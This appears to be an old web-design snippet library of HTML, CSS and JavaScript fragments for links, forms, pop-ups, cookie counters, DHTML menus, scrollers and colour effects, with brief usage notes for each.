Non-underlined link
<style></style>

A {text-decoration: none}
%
Non-underlined link (2)
<body></body>

<a href="" style="text-decoration:none">
LINK TEXT
</a>
%
"Back" button
<body></body>

<form method="post">
<input type="button" value="Go Back" onclick="history.go(-1);return true;">
</form>
%
Date auto-insert
<body></body>

<script language="JavaScript">
<!--
var months=new Array(13);
months[1]="January ";
months[2]="February ";
months[3]="March ";
months[4]="April ";
months[5]="May ";
months[6]="June ";
months[7]="July ";
months[8]="August ";
months[9]="September ";
months[10]="October ";
months[11]="November ";
months[12]="December ";
var time=new Date();
var lmonth=months[time.getMonth() + 1];
var date=time.getDate();
var year=time.getYear();
if (year < 2000) year = year + 1900;
document.write("Today is: " + date + " " + lmonth + year );
-->
</script>
%
E-mail form submit
<body></body>

<form method="POST" action="mailto:your@e.mail" enctype="text/plain">
<input type="text" name="first_text" size="20">
<input type="text" name="second_text" size="20">
<input type="submit" value="Send" name="B1">
</form>
%
No caching
<head></head>

<meta http-equiv="pragma" content="no-cache">
%
Autorefresh
<head></head>

<meta http-equiv="refresh" content="time in seconds;URL)
%
HTML Template
--

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//RU">

<html>
<head>
<title></title>
</head>

<body>

</body>
</html>
%
Flash movie
<body></body>
To view flash movies in your browser, you need to have a flash plugin. You can download it from macromedia.com
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="WIDTH" height="HEIGHT">
  <param name=movie value="FILE_NAME.swf">
  <param name=quality value=high>
  <embed src="FILE_NAME.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="WIDTH" height="HEIGHT">
  </embed>
</object>
%
Autoclose window
everywhere
Before closing browser will show a message asking you about subj.
<script language="javascript">
window.close()
</script>
%
Changing text in status bar
<html></html>
I think one wouldn't be happy when you change his status bar text.
<script language="javascript">
status="TEXT"
</script>
%
Changing images with "onmouseover"
--

<html>
<head>
<script language="JavaScript">
<!--
function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && document.getElementById) x=document.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}
//-->
</script>
</head>

<body bgcolor="#FFFFFF" text="#000000">
<a href="#" onMouseOut="MM_swapImgRestore()" onMouseOver="MM_swapImage('Image1','','FIRST PICTURE URL',0)"><img name="Image1" border="0" src="SECOND PICTURE URL"></a>
</body>
</html>
%
Text background color
<body></body>

<span style="background:yellow">
TEXT
</span>
%
Background sound
<head></head>
infinite means that the sound will repeat as long as user reads the page. Instead of "infinite" you can enter a number of repeats.
<bgsound src="MIDI OR VAW URL" loop="infinite">
%
Video
<body></body>
Works in Internet Explorer only
<img dynsrc="FILE_NAME.avi" start="fileopen">
%
Creeping line
<body></body>

<marquee>TEXT</marquee>
%
Dropped capital
<body></body>

<style>
P:first-letter {font-size:200%;float:left}
P {font-size:12pt;line-height:12pt}
</style>
<p>TEXT
%
Picture behind the text
<body></body>

<span style="background:url(IMAGE URL)">
TEXT
</span>
%
Enlarged letterspacing
<body></body>

<span style="letter-spacing:0.2em">
TEXT
</span>
%
Blinking text
<body></body>

<span style="text-decoration:blink">
BLINKING TEXT
</span>
%
Text border
<body></body>

<span style="border:solid thin black">
TEXT WITH BORDER
</span>
%
Site icon
<head></head>
Instead of it you can simply place an icon named "favicon.ico" in the root directory of your website.
<link rel="shortcut icon" href="FILE_NAME.ico">
%
Custom image in bulleted list
<ol></ol>
You can also enter the "style" atribute in "ol" tag.
<li style="list-style-image:url(FILE_NAME.gif)">
%
Using an image instead of button
<form></form>

<INPUT TYPE="image" SRC="FILE_NAME.gif" HEIGHT="HEIGHT" WIDTH="WIDTH" ALT="submit" BORDER="0">
%
Colored line in Netscape or Opera
<body></body>
Colored line <hr color="..."> is supported only by Internet Explorer.
<table border="0" cellpadding="0" cellspacing="0" width="LINE_WIDTH"><tr><td height="1"
bgcolor="LINE_COLOR">
<spacer type="block" height="1" width="LINE_WIDTH">
</td></tr>
</table>
%
Adding a page to "Favorites"
<body></body>
add.htm is a page which will be loaded if page is viewed not by Internet Explorer v4.0 or higher. You have to write in "add.htm" about an error and ask to add your page to favorites manually.
<script language="JavaScript">
function AddBookmark() {
window.external.addFavorite('URL_OF_YOUR_PAGE', 'TITLE_OF_YOUR_PAGE')
}

if (navigator.appName.indexOf('Microsoft')>=0 &&
navigator.appVersion.indexOf(4.0)>=0) {
document.write('<a href=# onClick="AddBookmark();return false">Add to favorites</a>.')
}
else
{
document.write('<a href=add.htm>Add to favorites</a>.')
}
</script>
%
Opening a link in a new window
<body></body>
You'd better to inform user about opening your link in a new page. Many people don't like pop-ups.
<a href="LINK_URL" target="_blank">
LINK TEXT
</a>
%
Custom textbox colors
<form></form>

<INPUT type="text" STYLE="color:FONT_COLOR; background-color:BACKGROUND_COLOR;">
%
2D textbox
<form></form>

<INPUT type="text" STYLE="color:#E9B007; background-color:white; border-color:#E9B007;border-style:solid;border-width:1px">
%
Vertical line
<body></body>
1x1.gif is a GIF picture with 1*1 size.
<img src="1x1.gif" width=2 height=100>
%
ToolTip
<body></body>
The "title" atribute can be used in many other tags, such as <b>, <p> <img> and so on.
<a href="LINK_URL" title="TOOLTIP_TEXT">
LINK TEXT
</a>
%
Applying CSS to a document
<head></head>
To create Cascade StyleSheets, use CSS Maker.
<link rel="stylesheet" type="text/css" href="FILE_NAME.css">
%
The page cannot be placed in a frame
<html></html>

<body onLoad="if (self != top) top.location = self.location">
%
MessageBox by clicking a link
<body></body>

<a href="LINK_URL" onClick="alert('MESSAGE_TEXT');return true;">
LINK TEXT
</a>
%
View source
<form></form>

<input type="button" value="View Source Of This Page"
onClick= 'window.location = "view-source:" + window.location.href' >
%
Link description in status bar.
<body></body>

<a href="LINK_URL" onmouseover="window.status='LINK DESCRIPTION'; return true">
LINK TEXT
</a>
%
Refresh page with a link
<body></body>

<a href="javascript: window.location.reload()">Refresh</a>
%
Pop-up after the page is loaded
<body></body>

<script language="JavaScript">
window.open('http://www.yourdomain.com','windowname','
height=320,width=320,scrollbars,resizable');
</script>
%
Close window with a link
<body></body>

<a href="javascript: self.close()">
Close Window
</a>
%
Open pop-up when first visited the page
<body></body>

<SCRIPT LANGUAGE="JavaScript">
<!--
function GetCookie(name) {
var arg=name+"=";
var alen=arg.length;
var clen=document.cookie.length;
var i=0;
while (i<clen) {
var j=i+alen;
if (document.cookie.substring(i,j)==arg)
return "here";
i=document.cookie.indexOf(" ",i)+1;
if (i==0) break;
}
return null;
}
var visit=GetCookie("COOKIE1");
if (visit==null){
var expire=new Date();
window.name = "thiswin";
newwin=open("_.htm", "dispwin",
"width=450,height=455,scrollbars=yes,menubar=no");
expire=new Date(expire.getTime()+7776000000);
document.cookie="COOKIE1=here; expires="+expire;
}
// -->
</SCRIPT>
%
No right button
<body></body>

<SCRIPT language="JavaScript">
<!--
var message="Copyright 2003 by Your Site. WARNING ! All content contained within this site is protected by copyright laws. Unauthorized use of our material is strictly prohibited.";
function click(e) {
if (document.all) {
if (event.button==2||event.button==3) {
alert(message);
return false;
}
}
if (document.layers) {
if (e.which == 3) {
alert(message);
return false;
}
}
}
if (document.layers) {
document.captureEvents(Event.MOUSEDOWN);
}
document.onmousedown=click;
// -->
</SCRIPT>
%
A nice DHTML menu
<body></body>
Find the strings "#EFFEC2" and "#C0C0C0". These are the colors of which consists the menu when it's being displayed. By the way, this script doesn't work in: Opera 7.01 and Mozilla 1.3. In IE6 it's all right.
<style>
<!--
#wrapper{
position:relative;
height:30px
}

#wrapper2{
position:absolute
}

#coffeemenu03{
filter:revealTrans(Duration=1.5,Transition=12)
visibility:hide
}


-->
</style></HEAD>

<BODY>

<ilayer id="coffeemenu01" height=35px>
<layer id="coffeemenu02" visibility=show>
<span id="wrapper">
<span id="wrapper2" onClick="dropit2();event.cancelBubble=true;return false">
<font face="Tahoma"><b><a href="sorry.html">Show Menu</a></b></font>
</span>
</span>
</layer>
</ilayer>

<script language="JavaScript1.2">


var enableeffect=true

var selection=new Array()
selection[0]='<font face="Tahoma"><a href="http://www.html-s-nulya.narod.ru/">Link 1</a><br>'
selection[1]='<a href="http://content.mail.ru/pages/p_8752.html">Link2</a><br>'
selection[2]='<a href="http://www.html-s-nulya.narod.ru/">Link3</a><br>'
selection[3]='<a href="http://content.mail.ru/pages/p_8752.html">Link4</a><br>'
selection[4]='<a href="http://www.html-s-nulya.narod.ru/">Link5</a><br></font>'

if (document.layers)
document.coffeemenu01.document.coffeemenu02.visibility='show'

function dropit2(){
if (document.all){
coffeemenu03.style.left=document.body.scrollLeft+event.clientX-event.offsetX
coffeemenu03.style.top=document.body.scrollTop+event.clientY-event.offsetY+18
if (coffeemenu03.style.visibility=="hidden"){
if (enableeffect)
coffeemenu03.filters.revealTrans.apply()
coffeemenu03.style.visibility="visible"
if (enableeffect)
coffeemenu03.filters.revealTrans.play()
}
else{
hidemenu()
}
}
}

function dropit(e){
if (document.coffeemenu03.visibility=="hide")
document.coffeemenu03.visibility="show"
else
document.coffeemenu03.visibility="hide"
document.coffeemenu03.left=e.pageX-e.layerX
document.coffeemenu03.top=e.pageY-e.layerY+19
return false
}

function hidemenu(){
if (enableeffect)
coffeemenu03.filters.revealTrans.stop()
coffeemenu03.style.visibility="hidden"
}

function hidemenu2(){
document.coffeemenu03.visibility="hide"
}

if (document.layers){
document.coffeemenu01.document.coffeemenu02.captureEvents(Event.CLICK)
document.coffeemenu01.document.coffeemenu02.onclick=dropit
}
else if (document.all)
document.body.onclick=hidemenu

</script>

<div id="coffeemenu03" style="position:absolute;left:0;top:0;layer-background-color:#C0C0C0;background-color:#EFFEC2;width:200;visibility:hidden;border:2px solid black;padding:0px">
<script language="JavaScript1.2">
if (document.all)
coffeemenu03.style.padding='4px'
for (i=0;i<selection.length;i++)
document.write(selection[i])
</script>
</div>

<script language="JavaScript1.2">
if (document.layers){
document.coffeemenu03.captureEvents(Event.CLICK)
document.coffeemenu03.onclick=hidemenu2
}
</script>
%
DHTML changing text
<html></html>

<body onload="if (document.all||document.layers) {regenerate2();update()}">

<style>
<!--
#msgline{
position:relative;
layer-background-color:black;
width:400;
height:12;
}

#msgtext{
background-color:black;
position:absolute;
border: 1px solid black;
width:400;
height:12;

}


.msgtextfont{
font:bold 16px Arial;
postition:absolute;
left:5px;
text-decoration:none;
color:white;
}

.msgtextfont a{
color:white;
text-decoration:none;
}
-->
</style>
<div id="msgline">
<div id="msgtext" class="msgtextfont">Starting Messages...</div>
</div>

<script language="JavaScript1.2">

var speed=1000
var news=new Array()
news[0]="<a href='http://html-s-nulya.narod.ru/'>First line of text...</a>"
news[1]="<a href='http://html-utilities.narod.ru/'>Second line of text...</a>"
news[2]="<a href='http://content.mail.ru/pages/p_8752.html'>Third line of text...</a>"
news[3]="<a href='http://html-s-nulya.narod.ru/'>Add as many as you want...</a>"

i=0
if (document.all)
tickerobject=document.all.msgtext.style
else
tickerobject=document.msgline.document
function regenerate(){
window.location.reload()
}
function regenerate2(){
if (document.layers)
setTimeout("window.onresize=regenerate",450)
}

function update(){
 BgFade(0xff,0xff,0xff, 0x00,0x00,0x00,10);
if (document.layers){
document.msgline.document.msgtext.document.write('<span class="msgtextfont">'+news[i]+'</span>')
document.msgline.document.msgtext.document.close()
}
else
document.all.msgtext.innerHTML=news[i]

if (i<news.length-1)
i++
else
i=0
setTimeout("update()",speed)
}

 function BgFade(red1, grn1, blu1, red2,
 grn2, blu2, steps) {
 sred = red1; sgrn = grn1; sblu = blu1;
 ered = red2; egrn = grn2; eblu = blu2;
 inc = steps;
 step = 0;
 MsgDither();
 }
 function MsgDither() {
 var epct = step/inc;
 var spct = 1 - epct;
 if (document.layers)
 tickerobject.bgColor =
 Math.floor(sred * spct + ered *
 epct)*256*256 +
 Math.floor(sgrn * spct + egrn * epct)*256 +
 Math.floor(sblu * spct + eblu * epct);
 else
 tickerobject.backgroundColor=
 Math.floor(sred * spct + ered *
 epct)*256*256 +
 Math.floor(sgrn * spct + egrn * epct)*256 +
 Math.floor(sblu * spct + eblu * epct);
 if ( step < inc ) {
 setTimeout('MsgDither()',50);
 }
 step++;
 }

</script>
%
An DHTML scrolling web-site in 1 page!
<html></html>
Doesn't work in Mozilla/Netscape and other Gecko-based browsers.
<SCRIPT LANGUAGE="JavaScript">
<!--



n = (document.layers) ? 1:0
ie = (document.all) ? 1:0

function init() {
        slideoutActive = 0
        if (n) {
                slideout1 = document.slideoutInterface.document.slideoutContent.document.slideoutContent1
                slideout2 = document.slideoutInterface.document.slideoutContent.document.slideoutContent2
                slideout3 = document.slideoutInterface.document.slideoutContent.document.slideoutContent3
                slideout4 = document.slideoutInterface.document.slideoutContent.document.slideoutContent4
                slideout5 = document.slideoutInterface.document.slideoutContent.document.slideoutContent5
        }

        if (ie) {
                slideout1 = slideoutContent1.style
                slideout2 = slideoutContent2.style
                slideout3 = slideoutContent3.style
                slideout4 = slideoutContent4.style
                slideout5 = slideoutContent5.style
        }
        slideoutShown = slideout1
        slideoutShown.xpos = 0
        slideoutNew = "none"
        slideoutNew.xpos = -285
}


function slideout(which) {
        if (!slideoutActive && slideoutShown != which) {
                slideoutActive = 1
                slideoutNew = which
                slideoutNew.xpos = -285
                slideoutLeft()
        }
}


function slideoutLeft() {
        if (slideoutShown.xpos > -285) {
                slideoutShown.xpos -= 15
                slideoutShown.left = slideoutShown.xpos
                setTimeout("slideoutLeft()",30)
        }
        else {
                hide(slideoutShown)
                show(slideoutNew)
                setTimeout("slideoutRight()",50)
        }
}


function slideoutRight() {
        if (slideoutNew.xpos < 0) {
                slideoutNew.xpos += 15
                slideoutNew.left = slideoutNew.xpos
                setTimeout("slideoutRight()",30)
        }
        else {
                slideoutShown = slideoutNew
                slideoutActive = 0  // stops the sequence
        }
}


function show(showobj) {
        if (n) showobj.visibility = "show"
        if (ie) showobj.visibility = "visible"
}
function hide(hideobj) {
        if (n) hideobj.visibility = "hide"
        if (ie) hideobj.visibility = "hidden"
}

//-->
</SCRIPT>
<STYLE TYPE="text/css">
<!--
A {color:#000000; font-family:'Arial'; font-weight:bold; font-size:10pt; text-decoration:none; line-height:20pt;}
STRONG {font-family:'Arial'; font-size:15pt; font-weight:bold; line-height:25pt;}
P {font-family:'Arial'; font-size:10pt; line-height:13pt;}
TD {font-family:'Arial'; font-size:10pt; line-height:13pt;}

#slideoutInterface {position:absolute; left:50; top:50; width:400; height:250; clip:rect(0,400,250,0); background-color:#000000; layer-background-color:#000000; visibility:visible;}
#slideoutSidebar1 {position:absolute; left:5; top:5; width:100; height:30; clip:rect(0,100,30,0); background-color:#9797FF; layer-background-color:#9797FF;}
#slideoutSidebar2 {position:absolute; left:5; top:40; width:100; height:30; clip:rect(0,100,30,0); background-color:#FFFF00; layer-background-color:#FFFF00;}
#slideoutSidebar3 {position:absolute; left:5; top:75; width:100; height:30; clip:rect(0,100,30,0); background-color:#FF80C0; layer-background-color:#FF80C0;}
#slideoutSidebar4 {position:absolute; left:5; top:110; width:100; height:30; clip:rect(0,100,30,0); background-color:#00FF80; layer-background-color:#00FF80;}
#slideoutSidebar5 {position:absolute; left:5; top:145; width:100; height:30; clip:rect(0,100,30,0); background-color:#FF5353; layer-background-color:#FF5353;}

#slideoutContent {position:absolute; left:110; top:5; width:285; height:240; clip:rect(0,285,240,0); background-color:#000000; layer-background-color:#000000;}
#slideoutContent1 {position:absolute; left:0; top:0; width:285; height:240; clip:rect(0,285,240,0); background-color:#DEDEDE; layer-background-color:#DEDEDE; visibility:visible;}
#slideoutContent2 {position:absolute; left:-285; top:0; width:285; height:240; clip:rect(0,285,240,0); background-color:#DEDEDE; layer-background-color:#DEDEDE; visibility:hidden;}
#slideoutContent3 {position:absolute; left:-285; top:0; width:285; height:240; clip:rect(0,285,240,0); background-color:#DEDEDE; layer-background-color:#DEDEDE; visibility:hidden;}
#slideoutContent4 {position:absolute; left:-285; top:0; width:285; height:240; clip:rect(0,285,240,0); background-color:#DEDEDE; layer-background-color:#DEDEDE; visibility:hidden;}
#slideoutContent5 {position:absolute; left:-285; top:0; width:285; height:240; clip:rect(0,285,240,0); background-color:#DEDEDE; layer-background-color:#DEDEDE; visibility:hidden;}

//-->
</STYLE>
</HEAD>

<BODY BGCOLOR="#FFFFFF" TEXT="#000000" onLoad="init()">

<DIV ID="slideoutInterface">

<DIV ID="slideoutSidebar1"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout1)">Link 1</A></P></DIV>
<DIV ID="slideoutSidebar2"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout2)">Link 2</A></P></DIV>
<DIV ID="slideoutSidebar3"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout3)">Link 3</A></P></DIV>
<DIV ID="slideoutSidebar4"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout4)">Link 4</A></P></DIV>
<DIV ID="slideoutSidebar5"><P ALIGN=CENTER><A HREF="javascript:slideout(slideout5)">Link 5</A></P></DIV>

<DIV ID="slideoutContent">

<DIV ID="slideoutContent1">
<P ALIGN="CENTER"><STRONG>Title 1</STRONG>
<P>
<TABLE BORDER=0 WIDTH=275><TD>
You can add <A HREF="http://content.mail.ru/pages/p_8752.html"><FONT COLOR=BLUE>Links</FONT></A>.

<P>
Or just a simple text.
</TD></TABLE>
</P>
</DIV>

<DIV ID="slideoutContent2">
<P ALIGN="CENTER"><STRONG>Title 2</STRONG>
<P>
<TABLE BORDER=0 WIDTH=275><TD>
You can add <A HREF="http://html-s-nulya.narod.ru/"><FONT COLOR=BLUE>Links</FONT></A>.
<P>
Or just a simple text.

</TD></TABLE>
</P>
</DIV>

<DIV ID="slideoutContent3">
<P ALIGN="CENTER"><STRONG>Title 3</STRONG>
<P>
<TABLE BORDER=0 WIDTH=275><TD>
You can add <A HREF="http://html-utilities.narod.ru/"><FONT COLOR=BLUE>Links</FONT></A>.
<P>
Or just a simple text.

</TD></TABLE>
</P>
</DIV>

<DIV ID="slideoutContent4">
<P ALIGN="CENTER"><STRONG>Title 4</STRONG>
<P>
<TABLE BORDER=0 WIDTH=275><TD>
You can add <A HREF="http://srez.ru/"><FONT COLOR=BLUE>Links</FONT></A>.
<P>
Or just use a simple text.

</TD></TABLE>
</P>
</DIV>


<DIV ID="slideoutContent5">
<P ALIGN="CENTER"><STRONG>Order</STRONG>
<P>
<TABLE BORDER=0 WIDTH=275><TD>
You can add <A HREF="mailto:a-i@bk.ru"><FONT COLOR=BLUE>Links</FONT></A>.

<P>
Or just use a simple text.

</TD></TABLE>
</P>
</DIV>

</DIV>

</BODY>
</HTML>
%
Cookie-based counter
<head></head>

<SCRIPT LANGUAGE="JavaScript">

// Boolean variable specified if alert should be displayed if cookie exceeds 4KB
var caution = false

// name - name of the cookie
// value - value of the cookie
// [expires] - expiration date of the cookie (defaults to end of current session)
// [path] - path for which the cookie is valid (defaults to path of calling document)
// [domain] - domain for which the cookie is valid (defaults to domain of calling document)
// [secure] - Boolean value indicating if the cookie transmission requires a secure transmission
// * an argument defaults when it is assigned null as a placeholder
// * a null placeholder is not required for trailing omitted arguments
function setCookie(name, value, expires, path, domain, secure) {
        var curCookie = name + "=" + escape(value) +
                ((expires) ? "; expires=" + expires.toGMTString() : "") +
                ((path) ? "; path=" + path : "") +
                ((domain) ? "; domain=" + domain : "") +
                ((secure) ? "; secure" : "")
        if (!caution || (name + "=" + escape(value)).length <= 4000)
                document.cookie = curCookie
        else
                if (confirm("Cookie exceeds 4KB and will be cut!"))
                        document.cookie = curCookie
}

// name - name of the desired cookie
// * return string containing value of specified cookie or null if cookie does not exist
function getCookie(name) {
        var prefix = name + "="
        var cookieStartIndex = document.cookie.indexOf(prefix)
        if (cookieStartIndex == -1)
                return null
        var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length)
        if (cookieEndIndex == -1)
                cookieEndIndex = document.cookie.length
        return unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex))
}

// name - name of the cookie
// [path] - path of the cookie (must be same as path used to create cookie)
// [domain] - domain of the cookie (must be same as domain used to create cookie)
// * path and domain default if assigned null or omitted if no explicit argument proceeds
function deleteCookie(name, path, domain) {
        if (getCookie(name)) {
                document.cookie = name + "=" +
                ((path) ? "; path=" + path : "") +
                ((domain) ? "; domain=" + domain : "") +
                "; expires=Thu, 01-Jan-70 00:00:01 GMT"
        }
}

// date - any instance of the Date object
// * you should hand all instances of the Date object to this function for "repairs"
// * this function is taken from Chapter 14, "Time and Date in JavaScript", in "Learn Advanced JavaScript Programming"
function fixDate(date) {
        var base = new Date(0)
        var skew = base.getTime()
        if (skew > 0)
                date.setTime(date.getTime() - skew)
}

var now = new Date()
fixDate(now)
now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000)
var visits = getCookie("counter")
if (!visits)
        visits = 1
else
        visits = parseInt(visits) + 1
setCookie("counter", visits, now)
document.write("You have been here " + visits + " time(s).")

</SCRIPT>
%
Script that tells IP address
<head></head>
You must have Java virtual machine installed
<script>
window.onerror=null;document.write(java.net.InetAddress.getLocalHost().getHostAddress())
</script>
%
News scroller
--

<HTML><HEAD>
<TITLE>Your Page Title</TITLE>
<script language="JavaScript">

// blank is the location of an invisible gif image.
var blank = "blank.gif";

//floating = true; // place news scroller anywhere on the page
topedge = 8;  // location of news box from top of page when floating

leftedge = 18;  // location of news box from left edge when floating

floating = false; // false looks for the DIV named 'place'
// DIV place can be stored within a table cell to allow accurate
// placement of the news scroller
// floating = true; // place the news scroller anywhere on the page

boxheight = 100;  // height of news box
boxwidth = 240;  // width of news box
scrollheight = 350; // total height of all data to be scrolled
speed = 1; // scrolling speed (line step size)

delay = 100; // .0100 second delay before next line srolled (1000=1sec)
source=""; // name of HTML page to load and replace the news.
// the original news DIV must be inplace but can contain anything

function scrollnews(cliptop)
 { if (document.layers)
    { newsDiv = document.news;
      nDc=newsDiv.clip;
      nDc.top = cliptop;
      nDc.bottom = cliptop + boxheight;
      nDc.left = 0;
      nDc.right = boxwidth + leftedge;
      newsDiv.left = (floating)?leftedge:document.place.pageX

      newsDiv.top = (floating)?topedge - cliptop:document.place.pageY-cliptop; }
   else
    { newsDiv = news.style;
      newsDiv.clip = "rect(" + cliptop + "px " + (boxwidth + leftedge) + "px " + (cliptop + boxheight) + "px 0px)";
      newsDiv.pixelLeft = (floating)?leftedge:document.all.place.offsetLeft;
      newsDiv.pixelTop = (floating)?topedge - cliptop:document.all.place.offsetTop-cliptop; };
   if(source>"")
    { newsDiv.src=source; source=""; };
   cliptop = (cliptop + speed) % (scrollheight + boxheight);

   newsDiv.visibility='visible';
   setTimeout("scrollnews(" + cliptop + ")", delay); };

</script>

</HEAD>
<BODY BGCOLOR="white" onload="scrollnews(0);">

<center>
<TABLE BORDER=0 WIDTH=486>
<TR><TD>
Put your content to appear above the scroller here. This sample is set
up in a table format; you can modify it as desired to suit your
purposes.
</TD></TR>
  <TR><TD align=middle>
<table cellpadding=0 width=240><tr><td width=240 height=104 valign="top"><!-- Example of non-floating news scroller in a table cell -->
<div id="place" style="HEIGHT:
 100px; LEFT: 0px; POSITION: relative; TOP: 0px; WIDTH: 240px"
           ></div>
</td></tr></table>

<div id="news" style="BORDER-BOTTOM-WIDTH: 0px;
  BORDER-LEFT-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px;
  BORDER-TOP-WIDTH: 0px; CLIP: rect(10px 10px 10px 10px); HEIGHT: 100px; LEFT: 0px; PADDING-BOTTOM: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; PADDING-TOP: 0px; POSITION: absolute; TOP: 0px; WIDTH: 200px"
     >
 <table border=0 cellpadding=0 cellspacing=0 bgcolor="white"><tr>
          <td>
  <script language="javascript">
   document.write('<img src=' + blank + ' width='+boxwidth+' height='+boxheight+'><br>');
  </script>
<!-- Your News Items are Here -->
News Scroller Version 2.<br>
You can choose between<br>
floating and fixed placement<br>

where floating can place the<br>
news scroller anywhere on the<br>
page.<br>
When floating=false; the news<br>
scroller will find the DIV<br>
named 'place' and cover this<br>
DIV exaclty. Therefore you can<br>
position the news scroller on<br>
the page with relation to all<br>
other objects and even embed<br>
it within a table cell.<br>
News Scroller can contain any<br>
HTML content including Links<br>
and Images.<br>
<a href="http://members.iinet.net.au/~biab" target="_blank">Biab Homepage</a><br><!-- End Of Your News Items -->
   <script language="javascript">
    document.write('<br><img src=' + blank + ' width='+boxwidth+' height='+boxheight+'>');
   </script>
  </td></tr>
 </table>
</div>
</TD></TR>
  <TR><TD>
<p>
Modify the content and format to suit your individual requirements.
<p>
<p>
There is a complete help file available on the <a

      href="http://members.iinet.net.au/~biab">Yoboseyo Javascript</a> site. Additionally, there is a different version that
      provides a UI control panel, enabling visitors to your site to increase or
      decrease scroll speed as well as pause and restart the scrolling.</p>

</TD></TR></TABLE></center>

</BODY>
</HTML>
%
Redirect depending on browser name
<head></head>

<!-- This Scripts is used to redirect M$IE and Netscape
to separate part of WebSite                                                 -->

<SCRIPT Language="JavaScript">
if (navigator.appName.indexOf("Netscape") != -1){
        window.location = "NETSCAPE LINK";}
if (navigator.appName.indexOf("Explorer") != -1){
        window.location = "M$IE LINK";}
else{
        document.write('It appears that you are not using <a href="http://home.netscape.com">Netscape</a> or <a href="http://www.microsoft.com">M$IE</a>. I suggest you download a copy of the program in order to properly view these pages.')
}
</script>
%
Detecting screen resolution
<head></head>

<script>
document.write(screen.width + " x " + screen.height)
</script>
%
Text with gradient
<head></head>

<script language="JavaScript">

function MakeArray(n){
   this.length=n;
   for(var i=1; i<=n; i++) this[i]=i-1;
   return this
}

hex=new MakeArray(16);
hex[11]="A"; hex[12]="B"; hex[13]="C"; hex[14]="D"; hex[15]="E"; hex[16]="F";

function ToHex(x){
   var high=x/16;
   var s=high+"";
   s=s.substring(0,2);
   high=parseInt(s,10);
   var left=hex[high+1];
   var low=x-high*16;
   s=low+"";
   s=s.substring(0,2);
   low=parseInt(s,10);
   var right=hex[low+1];
   var string=left+""+right;
   return string;
}

function rainbow(text){
   text=text.substring(3,text.length-4);
   color_d1=255;
   mul=color_d1/text.length;
   for(i=0;i < text.length;i++){
      color_d1=255*Math.sin(i/(text.length/3)); "255*Math.sin(i/(text.length/3))"
      color_h1=ToHex(color_d1);
      color_d2=mul*i;
      color_h2=ToHex(color_d2);
      document.write("<FONT COLOR='#FF"+color_h1+color_h2+"'>"+text.substring(i,i+1)+'</FONT>');
   }
}
</script>

<SCRIPT>
   {rainbow("--> YOUR MESSAGE GOES HERE. THE LONG THE BETTER!<!--");}
</SCRIPT>
%
Navigate to link on mouse hover on it
<body></body>

<a href="PAGE.HTML" onMouseOver="window.navigate('PAGE.HTML')">
LINK TEXT
</A>
%
Gradually change the background color
--

<script>

function initArray()
{
  this.length = initArray.arguments.length
  for (var i = 0; i < this.length; i++)
    this[i+1] = initArray.arguments[i]
}

var hexChars = "0123456789ABCDEF";

function Dec2Hex (Dec)
{
  var a = Dec % 16;
  var b = (Dec - a)/16;
  hex = "" + hexChars.charAt(b) + hexChars.charAt(a);
  return hex;
}

function bgChanger (begin, end, steps)
{
  steps = steps -1 ;

  redA     = begin.charAt(0) + begin.charAt(1);
  red_valA = parseInt(redA,'16');
  redB     = end.charAt(0) + end.charAt(1);
  red_valB = parseInt(redB,'16');
  red_int  = ((red_valB - red_valA) / steps) * -1;
  grnA     = begin.charAt(2) + begin.charAt(3);
  grn_valA = parseInt(grnA,'16');
  grnB     = end.charAt(2) + end.charAt(3);
  grn_valB = parseInt(grnB,'16');
  grn_int  = ((grn_valB - grn_valA) / steps) * -1;
  bluA     = begin.charAt(4) + begin.charAt(5);
  blu_valA = parseInt(bluA,'16');
  bluB     = end.charAt(4) + end.charAt(5);
  blu_valB = parseInt(bluB,'16');
  blu_int  = ((blu_valB - blu_valA) / steps) * -1;

  step = 2;
  red = red_valA;
  grn = grn_valA;
  blu = blu_valA;

  document.bgColor = begin;

  while ( steps >= step )
  {
    red -= red_int;
    red_round = Math.round(red);
    red_hex = Dec2Hex(red);

    grn -= grn_int;
    grn_round = Math.round(grn);
    grn_hex = Dec2Hex(grn);

    blu -= blu_int;
    blu_round = Math.round(blu);
    blu_hex = Dec2Hex(blu);

    document.bgColor = red_hex + grn_hex + blu_hex;

    step++;
  }
  document.bgColor = end;
}

</script>

<body bgcolor=#000000 text=#FFFFFF link="FF0000" vlink="8888FF" alink="FF00FF">
<script>
<!--
// black to black (pause)
  bgChanger("000000","000000",25);
// black to red
  bgChanger("000000","FF0000",25);
// red to black
  bgChanger("FF0000","000000",25);
// black to purple
